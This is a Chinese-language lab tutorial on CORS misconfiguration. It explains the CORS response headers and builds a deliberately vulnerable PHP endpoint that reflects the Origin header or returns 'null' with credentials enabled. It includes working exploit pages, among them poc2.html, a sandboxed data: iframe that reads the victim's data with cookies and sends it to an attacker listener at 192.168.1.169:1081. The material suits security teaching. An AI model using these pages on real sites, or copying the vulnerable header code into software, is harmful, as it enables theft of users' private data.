本实验对比三类CORS配置,重点验证固定Allow-Origin:null搭配Credentials:true高危漏洞:data沙盒iframe可构造Origin为null的跨域请求,攻击者依托恶意站点携带Cookie窃取接口隐私数据。
- 实操吃透CORS响应头、浏览器Origin规则、iframe沙盒机制,是Web安全CORS漏洞入门优选实训案例。
文章目录
CORS跨资源共享
(1)跨源资源共享 (CORS) 是⼀种浏览器机制,允许⽹⻚使⽤来⾃其他⻚⾯或域的资产和数据。
(2)CORS(Cross-Origin Resource Sharing,跨域资源共享) 是一种由 浏览器和服务器共同支持的安全机制,用于控制 浏览器网页在跨域请求资源时是否被允许访问。
⼤多数站点需要使⽤资源和图像来运⾏它们的脚本。这些嵌⼊式资产存在安全⻛险,因为这些资产可能包含病毒或允许服务器访问⿊客。
具体介绍可以看官方介绍:https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CORS
CORS 的关键响应头字段说明
CORS通过在服务器端设置响应头来进行配置。当浏览器发起跨域请求时,服务器可以通过设置特定的CORS响应头来告知浏览器是否允许该请求。常见的CORS响应头包括以下几个:
- Access-Control-Allow-Origin:指定允许访问该资源的源。可以是具体的源或通配符(),表示允许来自任意源的访问。
- Access-Control-Allow-Methods:指定允许的HTTP方法(如GET、POST、PUT等)。
- Access-Control-Allow-Headers:指定允许的请求头字段。
- Access-Control-Allow-Credentials:指定是否允许发送身份凭证(如cookies、HTTP认证等)。
- Access-Control-Max-Age:指定预检查请求(OPTIONS)的有效期,以减少对服务器的频繁请求。
举个例子说明
(1)你在浏览器访问一个网站:https://example.com
(2)此网站的 JavaScript 想请求一个其他域名的数据,比如:https://api.another.com/userinfo
(3)由于这两个域名 不同源(跨域),浏览器默认会阻止前端获取返回的数据,除非 api.another.com 的服务器明确地通过响应头告诉浏览器:
bash
# (正确的跨域响应)
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true
# ===============================================
# 错误的响应------浏览器会报错
Access to fetch at 'https://api.another.com/data'
from origin 'https://example.com' has been blocked by CORS policy.
这样,浏览器才会允许 JavaScript 正常访问返回内容。
漏洞利用条件
1.如果返回头是以下情况,那么就是⾼危漏洞,这种情况下漏洞最好利⽤:
bash
Access-Control-Allow-Origin: https://www.attacker.com
Access-Control-Allow-Credentials: true
2.如果返回头是以下情况,那么也可以认为是⾼危漏洞,只是利⽤起来麻烦⼀些:
bash
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
后续的几种利用方式已经过时或者难以利用:
(1)如果返回以下,则不存在漏洞,因为Null必须是⼩写才存在漏洞:
- Access-Control-Allow-Origin: Null
- Access-Control-Allow-Credentials: true
(2)如果返回以下,可认为不存在漏洞,因为CORS安全机制阻⽌了这种情况下的漏洞利⽤,也可以写上低危的CORS配置错误问题。
- Access-Control-Allow-Origin: *
- Access-Control-Allow-Credentials: true
(3)如果返回以下,可认为不存在漏洞,也可以写上低危的CORS配置错误问题。
- Access-Control-Allow-Origin: *
验证CORS漏洞的方法
-
在数据包请求体中加⼊⼀个origin请求头 :
origin: http://xxxx.com -
观察响应包,发现Origin可控:
- Access-Control-Allow-Credentials:
true - Access-Control-Allow-origin:
http://xxxx.com
- Access-Control-Allow-Credentials:
还没有验证referer,就说明可以劫持了。
案例一
我们还是将漏洞代码放到之前的:www.zhenggui.com网站里
userinfo.php代码
bash
<?php
$origin = isset($_SERVER['HTTP_ORIGIN']) ? $_SERVER['HTTP_ORIGIN'] : 'null';
header("Access-Control-Allow-Origin: $origin");
header("Access-Control-Allow-Credentials: true");
header('Content-Type: application/json');
echo '{"id":1,"name":"w1nner","email":"winner@csdn.com"}';
?>
这里我们先将Access-Control-Allow-Origin注释掉(意味着接收任何域名地址,而不是指定的):

随后访问http://www.zhenggui.com:9091/userinfo.php,**成功泄露了敏感信息**:

从响应包我们能够看到:Access-Control-Allow-Origin: null

$origin = isset($_SERVER['HTTP_ORIGIN']) ? $_SERVER['HTTP_ORIGIN'] : 'null';:因为我们在代码中做了判断:获取请求 Origin 头,无该头则赋值字符串 null;否则直接复用该值配置跨域头引发 CORS 漏洞。
(1)⾸先判断HTTP_ORIGIN是否有值。有的话,就设置信任的域名:
随后我们来抓下包:

(2)在上面也说过:"在数据包请求体中加⼊⼀个origin请求头 :origin: http://xxxx.com "

成功验证存在漏洞;
(3)随后尝试利用一下该漏洞:
测试代码 cors测试的代码:
bash
<!DOCTYPE html>
<html>
<head>
<title>cors exp</title>
</head>
<body>
<script type="text/javascript">
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
alert(this.responseText);
// document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("GET", "http://www.zhenggui.com:9091/userinfo.php");
xhttp.withCredentials = true;
xhttp.send();
}
</script>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
</body>
</html>
将其放在之前的恶意网站根目录下:

成功获取了敏感信息:

漏洞效果
客户端可任意伪造Origin:https://evil.com,代码原样放进Allow-Origin,再加Access-Control-Allow-Credentials:true,浏览器放行跨域带 Cookie 请求,造成敏感信息泄露。
案例二
案例一是把Access-Control-Allow-Origin注释掉(系统自动填充null),这里我们换个方式:
- Access-Control-Allow-Origin: null
- Access-Control-Allow-Credentials: true

修改后的userinfo.php
bash
<?php
$origin = isset($_SERVER['HTTP_ORIGIN']) ? $_SERVER['HTTP_ORIGIN'] : 'null';
header("Access-Control-Allow-Origin: null");
header("Access-Control-Allow-Credentials: true");
header('Content-Type: application/json');
echo '{"id":1,"name":"w1nner","email":"winner@csdn.com"}';
?>
两种方案相比较:
方案一无源放行头,浏览器直接拦截跨域带 Cookie 请求;
方案二放行源为null,恶意页面使用
null源(如 data 协议、iframe 空源)即可跨域携带 Cookie 窃取数据。
poc2.html脚本内容
bash
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
</body>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','http://www.zhenggui.com:9091/userinfo.php',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='http://192.168.1.169:1081/?'+this.responseText;
};
</script>"></iframe>
</html>
(1)随后我们假装一下受害者,访问了恶意页面:http://zhenggui:9091/userinfo.php,浏览器种下目标站点 Cookie;
(2)CMD 启动监听(Windows):python -m http.server 1081

(3)浏览器打开恶意页面:http://www.eyiwangzhan.com/poc2.html

(4)查看 CMD 日志,成功接收窃取的 JSON 数据。

成功获取到敏感数据:

总结
本实验对比三类CORS配置,重点验证固定Allow-Origin:null搭配Credentials:true高危漏洞:data沙盒iframe可构造Origin为null的跨域请求,攻击者依托恶意站点携带Cookie窃取接口隐私数据。
实操吃透CORS响应头、浏览器Origin规则、iframe沙盒机制,是Web安全CORS漏洞入门优选实训案例。